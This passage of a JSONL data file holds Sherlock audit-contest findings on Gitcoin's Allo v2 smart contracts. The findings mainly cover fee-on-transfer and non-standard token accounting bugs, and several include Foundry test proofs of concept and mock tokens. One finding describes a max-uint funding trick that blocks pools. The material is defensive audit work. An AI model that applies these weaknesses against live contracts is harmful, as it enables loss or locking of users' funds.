getFeeDenominator(); // @audit-issue - can always ensure this rounds down and never pay the fee\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n- _strategy.increasePoolAmount(amountAfterFee);\n+ _strategy.increasePoolAmount(IERC20Upgradeable(_token).balanceOf(address(_strategy));\n \n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCall `_strategy.increasePoolAmount()` using the amount that was actually received by the strategy, rather than what was sent.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/391.md"}} +{"title":"Passing `amountAfterFee` in `_fundPool` and balance accounting in approved strategies via `poolAmount` ignores support for non-standard token behavior and results in loss of funds","severity":"medium","body":"Attractive Boysenberry Tardigrade\n\nmedium\n\n# Passing `amountAfterFee` in `_fundPool` and balance accounting in approved strategies via `poolAmount` ignores support for non-standard token behavior and results in loss of funds\nSince the token for any given strategy can have non-standard behavior, such as a transfer fee, the pool manager contract and the underlying strategies fail to properly account the real funded token amounts. This can result in a variety of issues, since the actual balanceOf the strategy contract may not accurately represent the total amount of funds the contract has access to. This can cause races to redeem funds between strategy participants, and the inability for strategy participants to claim their share of the distribution.\n\n## Vulnerability Detail\n\nTokens are transferred and the pools funds are increased using the `_transferAmountFrom` function as seen here: \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n```solidity\n _transferAmountFrom(\n _token,\n TransferData({\n from: msg.sender,\n to: address(_strategy),\n amount: amountAfterFee\n })\n );\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\nSince the protocol intends to support fee-on-transfer tokens and other tokens with irregular behavior, this pattern is not sufficient for properly accounting the balance of the strategy contract. For example, if the token being funded has a 3% transfer fee, the `amountAfterFee` will be larger than the actual balance of the contract.\n\nFor example, [in the BaseStrategy contract](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155), `increasePoolAmount` takes the passed `_amount` variable to be the correct amount of tokens the strategy has access to,`poolAmount += _amount;`\n\nGiven it is possible for `poolAmount` to be less than the` balanceOf(strategy)`, any accounting of owed funds that reference `poolAmount` as a source of truth will incorrectly compute the funds available to the contract. This occurs in the `QVBaseStrategy` contract when calculating the payout owed to each recipient using the method `_getPayout`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n```solidity\namount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n```\n\nSince the recipient's `payout.amount` has been calculated as a fraction of the `poolAmount` variable,\nwhich may be the incorrect balance of the strategy, it is possible for the sum of all recipient payouts to exceed the `balanceOf(strategy)`. \n\nThis issue becomes apparent in when paying out fund recipients via the `QVBaseStrategy._distribute`.\n```solidity\nPayoutSummary memory payout = _getPayout(recipientId, \"\");\n...\n_transferAmount(pool.token, recipient.recipientAddress, amount);\n```\nIn every single case in which the `strategy's` actual token balance is less than the amount passed initially in the `_fundPool` method, it will be impossible to pay out all `recipients`.\n\n## Impact\n\n- Inability for all recipients to receive their correct allocation when the funded token's balance may not accurately reflect the amount originally transferred\n- Failure to satisfy the assumption that strategy.increasePoolAmount() accurately reflects the new amount of funds available to the strategy. \n\n## Code Snippet\nCall to increasePoolAmount that can misrepresent available funds: \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\nSetting potentially misrepresented fund amount:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155\n\nInvalid calculation of tokens available to pool in `QVBaseStrategy` that assumes poolAmount is the correct contract token balance:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nGiven the scope of the audit declares that Allo V2 is meant to natively support all types of tokens, I think the overall accounting of tokens via the `Strategy.increasePoolAmount` method is a flawed design. Since strategies are meant to be programmable and can be added by anyone, it is misleading to think the state variable `poolAmount` is a viable and accurate representation of the Strategy's available funds. This is misleading to both Strategy Developers and Strategy Cloners, given they are under the impression that the accounting is done correctly.\n\nConsidering this, the `poolAmount` state variable should be removed from the BaseStrategy entirely to fit the parameters of the protocol. In any case where the Strategy token's total token balance may not directly proportional to the available funds, this value will be incorrect. Instead, accounting can be done solely based on the balanceOf the Strategy contract and the proportion `recipient.totalVotesReceived / totalRecipientVotes`. Since the Strategy contract's balance will be decremented for each recipient that is paid out, strategy payouts must properly account for this in one of two ways.\n\n1) Decreasing `totalRecipientVotes` by `recipient.totalVotesReceived` each time a `recipient` is paid out\n\n2) Keeping track of a `totalRecipientVotesPaid` variable that can calculate the above value without needing to modify `totalRecipientVotes`\n\nFurthermore, the `amount` parameter can be removed from the `baseStrategy.increasePoolAmount` method, since funds are no longer accounted via the `poolAmount` variable. \n\nThese changes have the following effects:\n\n1) Removing the misleading tracking of pool funds throughout the protocol, brought on by `_fundPool` passing a potentially misleading token balance to `increasePoolAmount`\n\n2) Resolve all accounting issues related to operating strategies that contain tokens with unique behavior.\n\n3) Prevent funds from getting stuck in Strategy contracts that contain rebasing or fee on transfer tokens.\n\nI believe this is the most optimal approach to removing uncertainty in token behavior and enabling the protocol to properly support all standard and non-standard token behavior.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/384.md"}} +{"title":"Problems with tokens that transfer less than amount. (Separate from fee-on-transfer issues!)","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# Problems with tokens that transfer less than amount. (Separate from fee-on-transfer issues!)\n\nSome tokens such as cUSDCv3 contain a special case for amount == type(uint256).max in their transfer functions that results in only the user's balance being transferred. This can be used to shut down several pool operations.\n\nThere are also problems with fee-on-transfer tokens, but that's a separate issue.\n\nThe contest FAQ states that all weird tokens should work with this protocol. I also asked the sponsor about this specific category of issues, and they said \"this does like something which can be taken advantage of !\"\n\n## Vulnerability Detail\n\nSeveral things that can go wrong with this:\n\n1. An attacker can put dust of this token in a wallet, and then call allo.fundPool() with type(uint256).max of this token. If the pool has not already been funded, then poolAmount will not be at type(uint256).max despite nothing being in the pool. It is now not possible to fund the pool.\n\n2. Someone can do this in the DonationVotingMerkleDistributionVaultStrategy to set someones claim of this token to type(uint256).max . It is now impossible for anyone else to donate this token to them.\n\n## Impact\n\nPools cannot work with such tokens\n\n## Code Snippet\n\nSee, e.g.: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L125\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nExplicitly do not support these tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/379.md"}} +{"title":"Funds can be trapped in the vault strategy","severity":"medium","body":"Brief Silver Porcupine\n\nmedium\n\n# Funds can be trapped in the vault strategy\nFunds can be trapped in the vault strategy when using fee-on-transfer tokens.\n\n## Vulnerability Detail\nThe Allo contracts are expected to operate with **any** type of ERC-20 tokens. In [DonationVotingMerkleDistributionVaultStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107-L136), an **amount** of tokens is transferred from an allocator to the contract. Then the same amount is saved in a mapping, ready to be withdrawn by its recipient. If an account allocates tokens to a vault that uses fee-on-transfer tokens, the recipient won't be able to withdraw the funds and they will be stuck in the contract.\n\n## Impact\nFunds cannot be withdrawn.\n\n## Code Snippet\n```jsx\nfunction _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n\n if (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(address(this), amount);\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of adding the **amount** to the mapping value, store the difference between the balance of the contract after and before transferring in a variable and add that variable to the mapping value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/342.md"}} +{"title":"Tokens with a fee-on-transfer mechanism(reflection tokens) will break the protocol","severity":"medium","body":"Rich Jade Wolf\n\nmedium\n\n# Tokens with a fee-on-transfer mechanism(reflection tokens) will break the protocol\nSome tokens, such as PAXG or even [USDT](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code#L177) (currently switched off), have a fee-on-transfer mechanism that can potentially disrupt the protocol or open up attack vectors. For example:\n\n## Vulnerability Detail\n\n1. Create a new pool where the `_token` argument is an address of a token with a built-in fee-on-transfer mechanism.\n2. The value of the `_amount` argument is greater than 0.\n3. After creating the pool, the balance of the strategy will equal `_amount - baseFee - transferFee`, but `poolAmount` equals `_amount - baseFee`.\n\n## Impact\nSome users may experience value loss when dealing with such tokens. Medium, as such tokens are not common.\n\n## Code Snippet\nFirst, let's implement a simple ERC20 token with a built-in fee-on-transfer mechanism in `test/utils/MockERC20TransferFee.sol`.\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract MockERC20TransferFee is ERC20, Ownable {\n uint256 public transferFee; // Fee in tokens\n address public feeCollector; // Address that collects the fee\n\n constructor(\n string memory name,\n string memory symbol,\n uint256 initialSupply,\n uint256 initialTransferFee\n ) ERC20(name, symbol) {\n _mint(msg.sender, initialSupply);\n transferFee = initialTransferFee;\n feeCollector = msg.sender;\n }\n\n // Set the transfer fee\n function setTransferFee(uint256 newFee) external onlyOwner {\n transferFee = newFee;\n }\n\n // Set the fee collector address\n function setFeeCollector(address newCollector) external onlyOwner {\n feeCollector = newCollector;\n }\n\n // Override the transferFrom function to include the fee\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount <= balanceOf(sender), \"ERC20: transfer amount exceeds balance\");\n require(amount <= allowance(sender, msg.sender), \"ERC20: transfer amount exceeds allowance\");\n\n uint256 feeAmount = (amount * transferFee) / 1e18; // Calculate the fee amount\n\n _transfer(sender, feeCollector, feeAmount); // Transfer fee to the fee collector\n _transfer(sender, recipient, amount - feeAmount); // Transfer the remainder to the recipient\n\n return true;\n }\n}\n```\n\nNow, import this contract into `test/foundry/core/Allo.t.sol`\n```solidity\nimport {MockERC20TransferFee} from \"../../utils/MockERC20TransferFee.sol\";\n```\nThen add a new variable to the `AlloTest` contract.\n```solidity\n MockERC20TransferFee public tokenWithTransferFee;\n```\nCreate an instance in the `setUp()` function.\n```solidity\n vm.prank(pool_admin());\n tokenWithTransferFee = new MockERC20TransferFee(\n \"MockERC20TransferFee\", \"MOCK\", 1e19, 1e16\n );\n```\n\nWe can reproduce the vulnerability by writing a test.\n```solidity\n function test_createPoolAttack() public {\n allo().addToCloneableStrategies(strategy);\n \n vm.prank(pool_admin());\n tokenWithTransferFee.approve(address(allo()), 1 ether);\n\n vm.prank(pool_admin());\n uint256 poolId = allo().createPool(\n poolProfile_id(),\n strategy,\n \"0x\",\n address(tokenWithTransferFee),\n 1 ether,\n metadata,\n pool_managers()\n );\n \n IStrategy s = IStrategy(allo().getStrategy(poolId));\n\n assertEq(tokenWithTransferFee.balanceOf(address(s)), s.getPoolAmount());\n }\n```\n\nThe test has failed.\n```bash\n Error: a == b not satisfied [uint]\n Left: 980100000000000000\n Right: 99000000000000000\n```\n\n## Tool used\n`forge test`\n\n## Recommendation\nCache the balance of the strategy contract in the [_fundPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502) function and subtract this value from the new balance after transferring tokens to the strategy contract. Use the result to increase the pool amount instead of relying on the `_amount` variable.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/322.md"}} +{"title":"Incorrect strategy poolAmount for pools using fee on transfer tokens","severity":"medium","body":"Curved Chocolate Iguana\n\nhigh\n\n# Incorrect strategy poolAmount for pools using fee on transfer tokens\nWhen using a token that has fees on transfers for a pool, funding that pool leads to an incorrect increase of its strategy `poolAmount`.\n\n## Vulnerability Detail\nWhen funding a pool, `Allo` instructs the strategy for that pool to increase its `poolAmount` by the amount minus `Allo` fees (if any).\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\nWhen the pool uses a token that has fees on transfer, the amount transferred will be lower than the original one, leading to a discrepancy between the strategy `poolAmount` and its actual balance.\n\n## Impact\nAny logic in strategies relying on `poolAmount`.\n\n## Code Snippet\n```solidity\n function testfundPoolFeeOnTransfer() public {\n TransferFeeToken fotToken = new TransferFeeToken(10 ether, 0.01 ether);\n fotToken.approve(address(allo()), 1 ether);\n\n vm.prank(pool_admin());\n uint256 poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(), strategy, \"0x\", address(fotToken), 0, metadata, pool_managers()\n );\n \n allo().fundPool(poolId, 1 ether);\n\n assertEq(IStrategy(strategy).getPoolAmount(), fotToken.balanceOf(strategy));\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCompute the amount to increase the `poolAmount` by from the balance of the strategy before and after the transfer.\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n uint256 strategyBalanceBefore = _token == NATIVE ? address(_strategy).balance : IERC20Upgradeable(_token).balanceOf(address(_strategy));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n uint256 strategyBalanceAfter = _token == NATIVE ? address(_strategy).balance : IERC20Upgradeable(_token).balanceOf(address(_strategy));\n\n _strategy.increasePoolAmount(strategyBalanceAfter - strategyBalanceBefore);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/302.md"}} +{"title":"All strategies except DonationVotingMerkleDistributionDirectTransferStrategy do not work for fee-on-transfer tokens","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# All strategies except DonationVotingMerkleDistributionDirectTransferStrategy do not work for fee-on-transfer tokens\n\nThe contest notes explicitly say that the protocol should support fee-on-transfer tokens. However, all but one of the strategies, when working with fee-on-transfer tokens, will attempt to transfer more token than is in the contract, causing transfers to revert.\n\n## Vulnerability Detail\n\nMechanics:\n\n* For both the RFP strategies and the QV strategy, poolBalance will be a number greater than the actual amount of token in the pool. For both, distribute() tries to transfer out a percentage of the pool balance. So if someone has a milestone for 100% in the RFP strategy, they cannot be distributed at all, as it will try to transfer a quantity of tokens equal to poolBalance, which is greater than the actual balance. In the QV strategy, if two people each get 50% of the votes, the first person a distribute() is made to will get their token, but it will revert for the second person.\n\n* For the DonationVotingMerkle strategies, poolBalance is not consulted for distributing token. However, for the DonationVotingMerkleDistributionVaultStrategy, the pool additionally holds the donated tokens used for voting, tracked in its `claims` array. It will always try to distribute the exact amount in that array. It will revert for the last person to claim for a fee-on-transfer token. https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L90\n\nFor the RFP strategy, the pool owner can withdraw, but will still forfeit fees. For the DonationVotingMerkleDistributionVaultStrategy, they cannot withdraw at all *unless* the token in question is equal to the pool token; however, in that case, there will be a greater balance of token than poolBalance, and they will not be able to withdraw most of it. For the QV strategy, they cannot withdraw at all.\n\n## Impact\n\nCertain tokens that are supposed to be supported are not\n\n## Code Snippet\n\nTransferring exact amount in DonationVotingMerkleDistributionVaultStrategy: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L90\n\nTransferring fractions of poolAmount:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L439\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEither forbid fee-on-transfer tokens in the docs, or add logic to check how much was actually sent.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/295.md"}} +{"title":"Using ERC20 tokens with fees on transfer may result in a loss of funds","severity":"medium","body":"Digital Berry Horse\n\nhigh\n\n# Using ERC20 tokens with fees on transfer may result in a loss of funds\nUsing ERC20 tokens with fees on transfer may result in a loss of funds since the _poolAmount_ will be miscalculated\n## Vulnerability Detail\nWhen using _fundPool()_ in _Allo.sol_, _amountAfterFee_ is transferred to the strategy contract and added to the strategy's _poolAmount_. The problem with this is that when using an ERC20 that has fees on transfer (such as USDT: even if the fee is 0 at the moment, this could change anytime), the strategy's balance will mismatch the strategy's _poolAmount_, leading to unexpected behaviour. \n\nExample with loss of funds: a QV Strategy is created and funded. Since the balance of the strategy mismatches the _poolAmount_, the _distribute_ function will fail. Since there is no withdraw function, funds will be locked. When using tokens as USDT we could send manually more USDT to the contract in order to be able to _distribute_, but if we are using a special ERC20 token that may used for governance, a DAO or something special, this may be impossible, causing the complete loss of funds. \n\nHere is a PoC. \nMock ERC20 with fees on transfer, copying the code from the real USDT contract:\n\n \n import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n \n contract MockUSDT is ERC20 {\n uint256 public maximumFee = 10000e18;\n uint256 public basisPointsRate = 100;\n \n mapping(address => uint) public balances;\n \n constructor() ERC20(\"FakeUSDT\", \"FUSDT\") {}\n \n function mint(address to, uint256 amount) public {\n balances[to] += amount;\n _mint(to, amount);\n }\n \n function transferFrom(address _from, address _to, uint _value) public override returns (bool) {\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\n // if (_value > _allowance) throw;\n \n uint fee = (_value * basisPointsRate) / 10000;\n if (fee > maximumFee) {\n fee = maximumFee;\n }\n uint sendAmount = _value - fee;\n balances[_from] = balances[_from] - _value;\n balances[_to] = balances[_to] + sendAmount;\n return true;\n }\n \n function balanceOf(address user) public override view returns(uint256) {\n return balances[user];\n }\n }\n\nTest showing that _distribute_ will fail in a QV Strategy, which don't have _withdraw()_ functions:\n\n function test_distributePoolWithER20WithFeesOnTransfer() public {\n // Create a pool for QVBaseStrategy with a token that has fees on transfer. FakeUSDT in this case\n address strategyWithUSDT = address(new QVBaseStrategyTestMock(address(allo()), \"MockStrategyWithUSDT\"));\n vm.startPrank(pool_admin());\n uint256 usdtPoolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(),\n strategyWithUSDT,\n abi.encode(\n registryGating,\n metadataRequired,\n 2,\n registrationStartTime,\n registrationEndTime,\n allocationStartTime,\n allocationEndTime\n ),\n address(fakeUSDT),\n 0 ether,\n poolMetadata,\n pool_managers()\n );\n vm.stopPrank();\n\n vm.startPrank(allo_owner());\n allo().updatePercentFee(0); // 0% so we can see that fees are from the token itself\n vm.stopPrank();\n\n vm.prank(pool_admin());\n fakeUSDT.approve(address(allo()), mintAmount);\n vm.warp(registrationStartTime + 10);\n\n // register\n vm.startPrank(address(allo()));\n bytes memory data = __generateRecipientWithoutId(false);\n address recipientId = QVBaseStrategy(strategyWithUSDT).registerRecipient(data, recipient1());\n vm.stopPrank();\n // accept\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Accepted;\n vm.startPrank(pool_admin());\n QVBaseStrategy(strategyWithUSDT).reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n vm.startPrank(pool_manager1());\n QVBaseStrategy(strategyWithUSDT).reviewRecipients(recipientIds, Statuses);\n vm.stopPrank();\n vm.warp(registrationEndTime + 10);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 100e18; // fund amount: 100e18\n\n console.log(\"***** BALANCES BEFORE FUNDING POOL *****\");\n console.log(\"Pool admin Fake USDT balance: %d\", fakeUSDT.balanceOf(address(pool_admin())));\n console.log(\"Strategy balance: %d\", fakeUSDT.balanceOf(strategyWithUSDT));\n console.log(\"Strategy pool amount: %d\", QVBaseStrategy(strategyWithUSDT).getPoolAmount());\n console.log(\"****************************************\");\n\n // fund pool\n vm.prank(pool_admin());\n allo().fundPool(usdtPoolId, 100e18); // We fund the pool with a token that has fees on transfer\n vm.warp(allocationStartTime + 10);\n bytes memory allocation = __generateAllocation(recipientId, 4);\n vm.prank(address(allo()));\n address usdtReceiver = makeAddr(\"USDT receiver\");\n QVBaseStrategy(strategyWithUSDT).allocate(allocation, usdtReceiver);\n vm.warp(allocationEndTime + 10);\n\n console.log(\"***** BALANCES AFTER FUNDING POOL *****\");\n console.log(\"Pool admin Fake USDT balance before distribute: %d\", fakeUSDT.balanceOf(address(pool_admin())));\n console.log(\"Strategy balance: %d\", fakeUSDT.balanceOf(strategyWithUSDT));\n console.log(\"Strategy pool amount: %d\", QVBaseStrategy(strategyWithUSDT).getPoolAmount());\n console.log(\"****************************************\");\n\n vm.prank(address(allo()));\n QVBaseStrategy(strategyWithUSDT).distribute(recipientIds, \"\", pool_admin());\n // The line above files because there is no sufficient balance\n }\n\nOutput of running the test:\n[FAIL. Reason: TransferFailed()] test_distributePoolWithER20WithFeesOnTransfer() (gas: 3082153)\nLogs:\n ***** BALANCES BEFORE FUNDING POOL *****\n Pool admin Fake USDT balance: 100000000000000000000\n Strategy balance: 0\n Strategy pool amount: 0\n ****************************************\n ***** BALANCES AFTER FUNDING POOL *****\n Pool admin Fake USDT balance before distribute: 0\n Strategy balance: 99000000000000000000\n Strategy pool amount: 100000000000000000000\n ****************************************\n## Impact\nERC20 tokens that use fees on transfer may be locked forever in QV Strategy contracts\n## Code Snippet\nFund pool:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L496-L520\nDistribute function which uses _getPayout() for calculating the distribution amounts:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L433C1-L465C6\n_getPayout() that miscalculates the amount since the balance and the _poolAmount_ are not the same:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L556C1-L574C6\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nCheck the balance of the pool before and after transferring the funded tokens, and add that amount to _poolAmount_.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/291.md"}} +{"title":"Contracts do not work with fee-on-transfer tokens","severity":"medium","body":"Low Ivory Wombat\n\nmedium\n\n# Contracts do not work with fee-on-transfer tokens\n\nContracts do not work with fee-on-transfer tokens\n\n## Vulnerability Detail\n\nSome tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).\n\n## Impact\n\n## Code Snippet\n\n```solidity\n\n512: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n\n515: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\n```\n\n[513](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L513), [515](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L515)\n\n```solidity\n\n482: _transferAmount(token, address(this), amount);\n\n```\n\n[482](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/_poc/donation-voting/DonationVotingStrategy.sol#L482)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRecommended Mitigation Steps\n Consider comparing before and after balance to get the actual transferred amount.\n Alternatively, disallow tokens with fee-on-transfer mechanics to be added as tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/285.md"}} +{"title":"`DonationVotingMerkleDistributionVaultStrategy` does not work with fee-on-transfer tokens","severity":"medium","body":"Fancy Khaki Perch\n\nmedium\n\n# `DonationVotingMerkleDistributionVaultStrategy` does not work with fee-on-transfer tokens\n`DonationVotingMerkleDistributionVaultStrategy` does not work with fee-on-transfer tokens\n## Vulnerability Detail\nThe amount that can be claimed is determined by the parameters of `transferFrom`, rather than the actual balance. For fee-on-transfer tokens, the actual balance is smaller than the parameters, making the transfer during the claim process fail due to insufficient balance.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L115-L135\n```solidity\n if (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(address(this), amount);\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L77-L90\n```solidity\n uint256 amount = claims[singleClaim.recipientId][singleClaim.token];\n\n // If the claim amount is zero this will revert\n if (amount == 0) {\n revert INVALID();\n }\n\n /// Delete the claim from the mapping\n delete claims[singleClaim.recipientId][singleClaim.token];\n\n address token = singleClaim.token;\n\n // Transfer the tokens to the recipient\n _transferAmount(token, recipient.recipientAddress, amount);\n```\n## Impact\nMaking the transfer during the claim process fail due to insufficient balance.\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L115-L135\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L77-L90\n## Tool used\n\nManual Review\n\n## Recommendation\nRecord the balance changes, not just the parameter values.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/268.md"}} +{"title":"when funding pool with a fee on transfer token, the strategy contract's tokenBalance is increased with wrong amount.","severity":"medium","body":"Mythical Raisin Camel\n\nmedium\n\n# when funding pool with a fee on transfer token, the strategy contract's tokenBalance is increased with wrong amount.\nwhen funding pool with a fee on transfer token via `fundPool()` in allo.sol, the strategy contract's tokenBalance is increased with wrong amount. This is because the `amountAfterFee` which is used doesnt consider the tax taken by the fee on transfer token contract during the transfer operation.\n## Vulnerability Detail\nSince the `amountAfterFee` 